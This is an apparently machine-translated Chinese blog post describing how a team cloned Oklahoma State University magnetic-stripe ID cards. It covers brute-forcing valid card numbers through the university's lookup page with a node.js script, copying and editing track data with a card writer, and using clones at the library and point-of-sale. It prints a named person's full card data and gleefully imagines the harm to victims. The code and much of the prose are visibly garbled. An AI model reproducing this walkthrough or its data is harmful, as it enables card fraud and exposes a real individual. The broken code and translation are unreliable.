注:本博客仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本博客不承担任何法律及连带责任,请遵守中华人民共和国安全法
黑客19 – 引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
注:文中磁卡没有特别说明是指磁条卡,而不是IC卡。
磁卡是一种卡状磁性记录介质,它使用磁性载体记录字符和数字信息来识别身份或其他用途。磁条是一种由排列定向的铁氧化颗粒(也称为颜料)组成的薄材料。用树脂粘合剂紧密粘合,粘合在纸或塑料等非磁性基介质上。
磁条一般分为高矫顽力(以下简称HiCo)低矫顽力(简称LoCo)两种。HiCo磁条磁量大,难以擦除,适用于信用卡等使用频率较高的场景。LoCo磁条磁量小,生产成本低,但缺点是易擦除,使用寿命短。
磁感矫顽力:将磁化到技术饱和的永磁体的磁感应强度降低到零所需的反向磁场强度。
读卡器通常可以兼容HiCo和LoCo两个磁条,还有HiCo写卡器一般兼容HiCo和LoCo而两种磁卡LoCo写卡器只能写LoCo磁卡。在现实生活中。LoCo磁条通常是浅棕色的,HiCo磁条是深黑色的。
已知磁卡上有三个磁道,常用的是第一磁道和第二磁道。
第一磁道上的信息有两种格式:格式A,发卡人使用,格式B,如下:
格式代码=“B-1个字符(只能使用字母) 主账号-最多19个字符 字段分隔符-1个字符 国家/地区代码-3个字符 持卡人姓名——2~26 无效日期或字段分隔符-4个字符或1个字符 服务代码-3个字符 自由数据-可变,不超过最大记录长度(79个字符)PIN验证相关数据;(PVKI,1个字符),PIN校验值 (PVV,4个字符),卡校验值或校验码 (CVV or CVC,3个字符) 结束标志——1个字符(通常是“?”) 纵向冗余校验字符(LRC)——1个字符
第二磁道:
主账号-最多19个字符 字段分隔符-1个字符(通常是) =) 故障日期或字段分隔符-4个字符或1个字符 服务代码-3个字符 自由数据-可变,不超过最大记录长度(79个字符)PIN验证相关数据;(PVKI,1个字符),PIN校验值 (PVV,4个字符),卡校验值或校验码 (CVV or CVC,3 结束标志-1个字符(通常是) 垂直冗余校准字符(LRC)——1读取时无返回值,仅供内部验证
金融磁卡中服务代码值的意义:
第一位数:
1:国际业务
2:可使用IC(芯片)国际业务
5:国内和双边协议下的国际业务
6:可使用IC(芯片)在国内和双边协议下开展国际业务
7:除双边协议外,没有业务(闭环)
9:测试模式
第二位数:
0:正常
2:网上开户
4:除双边协议的在线开通外
第三位数:
0:没有限制,需要PIN码验证
1:没有限制
2:货贷服务(非现金业务)
3:只有ATM,需要PIN
4:只有现金业务
5:需要PIN码验证的货贷服务(非现金业务)
6:无限制,可使用PIN码验证
7:货贷服务(非现金业务)可用PIN码验证
0x01 俄克拉荷马州立大学ID卡
俄克拉荷马州立大学ID该卡是大学官方发布的身份证卡,用途如下:
持卡人身份认证
校园特定区域的门禁卡
一卡通充值
使用校园网各种功能认证时(http://it.okstate.edu/services/id/)
这张卡就是这样长的,注意右下角的卡号,目测每张卡只有16位卡号)
0x02 说干就干
首先发现每张卡ID都是从数字60383800开始的,这段之后的两个分析只有05、06、11三种情况。
最后六个,我们把他变成尾数,是的0~9随机数。换句话说,总共有100万张可能的卡号,加上前三个前缀,总共有300万张可能。
这个地址可以供我们查看ID是否有效:https://app.it.okstate.edu/idcard/
该网页允许任何人输入16位ID号来查询该卡号是否合法。
一个合法的ID以下结果将显示在查询后:
如果卡号不合法,显示结果如下:
卡号查询返回的内容包括:
卡号:输入ID号码ID卡状态:有效或无效的就业状态:持证人目前的就业状态:持证人目前的注册状态:注释和银行卡信息等该查询页面有一份免责声明:使用此查询功能IP设计的初衷是防止其他地区的用户未经授权访问,但会被记录下来IP地址可以通过代理伪装,这是连小学生都知道的常识。
从这里http://www.rakuten.com/prod/usb-3-track-magnetic-credit-card-reader/240738725.html 花25美元买一个USB磁条阅读器可以ID解码卡。
解码学生卡后,获取以下信息:
?038380006514029^SNELLING/SAMUEL R ^491212000000000 6038380006514029=49121200000000000000?根据我们之前提到的磁道结构,我们可以得出结论:
第一磁道:
%BID卡号^持卡人姓名^过期时间: 49/12服务代码: 120自由数据: 万万万第二磁道:
;ID 卡号=过期时间:49/12服务代码: 120自由数据: 万万万万最有趣的两个项目是:每个人的过期日期是49/12,所有自由数据部分(验证PIN码)都是空的(0填充)。
0x03 梳理头绪
到目前为止,我们已经得到了以下线索:
这所学校的所有老师和学生都有这种情况ID所有卡的前八名是60383800 所有卡的第九和第十名只有三种:05、06、11 可能有300万张左右的卡号 有一个现成的网站可以查询ID这个站可能会记录卡号的有效性IP 所有卡的过期时间相同,49/12 所有卡的自由数据部门都是空的(0填充)
0x04 祭出神器
我们使用unitech生产的MSRC206磁条读写器(light教授友谊提示:我们华强北生产的还不错)。这款商业磁条读写器支持HiCo和LoCo磁卡,具有相当强大的编码器,可以覆盖现有的磁卡HiCo卡。
下一步是激动人心的磁卡复制环节,步骤如下:
插上MSRC206电源,连接电脑 – 安装驱动程序 MSRC206附带软件 等待MSRC206连接到MSRC206软件 点击软件右侧的读取按钮 刷源卡,获取编码数据 点击软件右侧的写入按钮 刷空白卡,写入数据
源卡数据:
?038380006514029^SNELLING/SAMUEL R ^491212000000000 6038380006514029=49121200000000000000?将数据复制到空白卡:
?038380006514029^SNELLING/SAMUEL R ^491212000000000 6038380006514029=49121200000000000000?修改持卡人姓名后,复制空白卡数据:
?038380006514029^PETE/PISTOL ^491212000000000 6038380006514029=49121200000000000000?对比一下:
?038380006514029^SNELLING/SAMUEL R ^491212000000000 6038380006514029=49121200000000000000??038380006514029^PETE/PISTOL ^491212000000000 6038380006514029=49121200000000000000?这里有个注意点:我们修改了持卡人姓名,但是卡号没有改。
左上角是修改姓名后的复制卡,右上角是直接复制源卡数据的复制卡,左下角是源卡,右下角是右上角。
背面照:
0x05 提枪上阵
我们的猥琐团队开始在各种场合使使用这些复制的空白卡。
首先,我们让团队的第三个孩子申请一张新卡(学校正式发送)到图书馆使用。结果,那里的管理员说ID不在系统中,如果卡是新的,通常需要几天时间等待服务器同步。从这个行动中,我们了解到学校图书馆每次都在使用它ID卡不是实时验证服务器,而是每隔几天从服务器同步保存在本地使用。
我们在上述测试中获得了几点经验:
虽然复制卡看起来很奇怪,但在我们英俊的队友的诱惑下,工作人员仍然接受了白卡。复制卡持卡人姓名修改后,消费文件仍为源卡持卡人姓名,表明在校园销售系统中,消费数据和服务器实时验证,确保ID卡的有效性。但是持卡人的姓名没有测试。
0x06 整装待发
有了以上的实验和经验,我们再次总结一下我们现在掌握的信息:
这所学校的所有老师和学生都有这种情况ID所有卡的前八名是60383800 所有卡的第九和第十名只有三种:05、06、11 可能有300万张左右的卡号 有一个现成的网站可以查询ID卡号的有效性,这个站可能会记录我们的IP 所有卡的过期时间相同,49/12 所有卡的自由数据部门都是空的(0填充) Unitec的MSRC206磁条可以读取、编辑和重新编码 图书馆验证ID 白卡(复制卡)不是实时连接到服务器的 消费者也会被工作人员接受 销售系统是与服务器实时通信验证的 销售系统,不进行持卡人身份验证
0x07 扩大战果
我们现在掌握的信息足以大规模行动。
首先,我们写了一个基础node.js不用说,你猜到了网络小脚本。我们将爆破校园里的有效卡号!
代码:
#!javascriptvar cheerio = require('cheerio'),request = require('request'),fs = require('fs'),headnumber = '06';for (var i=1; i <= 100; i ={ var tailnumber = while (tailnumber.length < 6) tailnumber = tailnumber [0,1,2,3,4,5,6,7,8,9][Math.floor(Math.random()*9)]; request.post('https://app.it.okstate.edu/idcard/index.php/module/Default/action/IDCardEntry',{form:{card_id:'60383800' headnumber tailnumber}},function (error,response,html) if (!error && response.statusCode == 200) var $ = ch3eerio.load(html); $('td.formText').each(function() var text = $(this).next().text();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;fs.appendFile('osu_ids.txt',text ';',function(err){}; };fs.appendFile('osu_ids.txt','\r\n',function(err){};;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;由于所有ID卡自由数据部分(验证PIN代码)是空的(0填充),服务器不验证持卡人的身份。我们可以用爆破的有效卡号大规模制作复制卡,然后做各种猥琐的事情。
这样造成的危害远远超出了很多人的想象。试想一下,刚充值500万的一卡通突然只剩下零头了;莫名其妙被学校警告借图书馆1000本书不还;悠闲地走在校园里,两个保安突然来抓你,说你昨晚猥亵了女同学……
0x08 回归和谐
下一步将带我们逃离上述可怕的场景,回归平静和谐的校园生活,但实施起来会有点痛苦。
立即下线ID查询网站 卡号https://app.it.okstate.edu/idcard/ 重新设计ID每个人都会重新发一张新卡片ID涉及卡 审核和测试ID所有卡系统 所有系统严格检查验证事务 添加双重验证